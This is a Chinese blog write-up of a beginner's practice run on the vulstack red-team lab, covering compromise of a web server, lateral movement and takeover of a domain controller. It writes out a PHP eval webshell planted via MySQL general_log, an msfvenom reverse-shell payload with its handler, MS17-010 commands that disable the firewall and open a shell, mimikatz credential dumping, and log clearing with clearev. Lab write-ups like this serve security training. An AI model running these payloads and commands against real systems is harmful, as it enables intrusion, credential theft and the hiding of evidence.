0%

vulstack 红队评估(一) 内网渗透

vulstack 红队评估(一)

前言

这是我第一次做内网渗透的相关内容,做一个学习记录。

准备工作

下载镜像,虚拟机默认密码hongrisec@2019,登陆后有两台需要改密码,注意密码的格式。。别忘了再重装– 我的密码是

对网络的部署需要一定的计算机网络基础知识。

kali 网卡: NAT

web服务器(DMZ区): 网卡1 NAT 网卡2 VMNET1(hostonly)

内网服务器1(域控) 网卡 VMNET1 hostonly

内网服务器2 : 网卡 VMNET1 hostonly

部署好后由于Windows7开了防火墙,可以向外ping但是ping不动该机器,用两台内网主机ping一下试试能不能ping动。

正常情况下

主机可以ping通两台内网主机,win7可以ping通两台内网主机,kali可以ping通win7。

web渗透工作

开局phpstudy探针,猜一猜数据库账号密码root/root

phpmyadmin默认路径,日进去尝试写日志getshell。

首先看看是否开日志了

SHOW VARIABLES LIKE ‘%general%’

没开,开一下。

set golbal general_log=on;

设置下日志路径(探针中查看)

1
set global general_log_file ='C:/phpStudy/WWW/2.php';

接下来查询一下,内容是shell。

1
select '<?php eval($_POST[a]); ?>';

之后访问蚁剑链接shell就可以了

连上shell后whoami一下,发现是administrator权限,在GOD域下(?对域的概念还不太了解)

接下来使用msfvenom生成shell连接。

1
2
3
4
5
6
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.54.2 lport=5555 -f exe>shell.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.54.2
set lport 5555
exploit

在蚁剑执行exe文件即可获得反弹shell

不太会用msf,执行命令一直啥都没有,最后知道msf有一套自己的命令,输入shell后获得了靶机的shell。

1
2
run post/windows/manage/enable_rdp
启用RDP登录。

接下来尝试上传cs 的beacon。

cs首先设置listener,生成Windows的32位可执行程序 a.exe

通过msf的meterpreter上传到目标主机并执行

upload /root/Desktop/1.exe

execute -f 1.exe

之后在cs可以看到服务器上线。

msf meterpreter 简介

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。

最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。

需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况

内网信息搜集

在cs中尝试使用mimikatz获取登录的用户名和密码

使用ladon扫描内网

得到结果:

192.168.52.3 139 445 3389

192.168.52.138 80 445 139 389

192.168.52.141 21 139

192.168.52.138主机389端口开启了LDAP服务,可能是DC。

下面尝试添加路由,使用Windows7作为跳板机访问Windows2003

经尝试后可以ping通,可以顺利访问。

渗透域内成员141

使用nmap对目标主机进行扫描,尝试扫描SMB漏洞

发现漏洞,尝试利用

成功获取目标机器的shell。

load mimikatz

mimikatz_command -f samdump::hashes 获取主机的密码,这样就成功抓到了主机的用户名和NTML-hash值。

渗透域控

使用nmap对目标ip进行扫描,发现MS17-010和MS08-067漏洞,这次尝试利用MS17-010进行攻击。

首先关闭防火墙

1
2
3
4
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command "netsh advfirewall set allprofiles state off"
exploit

接下来获得一个正向shell

1
2
3
4
use exploit/windows/smb/ms17_010_psexec
set rhosts 192.168.52.138
set payload windows/x64/meterpreter/bind_tcp
exploit

之后我用mimikatz抓密码出了点问题,报错mod_process::getVeryBasicModulesListForProcess : (0x0000012b)

搜了搜这个问题是因为mimikatz默认加载32位系统,但是我们的系统是64位的,所以首先要将meterpreter迁移到一个64位进程上。

PS一下,选择权限为NT AUTHORITY\SYSTEM权限的进程

migrate pid 即可。

之后在用mimikatz抓密码就能抓到了。

攻击结束后使用clearev命令清除攻击痕迹。

总结

第一次完整地做内网渗透相关的练习,对内网渗透的过程不太熟悉,工具的使用也不熟悉,对一些概念性的基础问题也不太熟悉。。。希望能在后续的学习过程中不断完善这些方面。

参考链接

https://shavchen.github.io/vulstack-1-writeup/#%E6%B8%97%E9%80%8F%E5%9F%9F%E6%8E%A7

https://www.freebuf.com/column/230476.html

https://www.cnblogs.com/wkzb/p/12358076.html#scroller-14

分享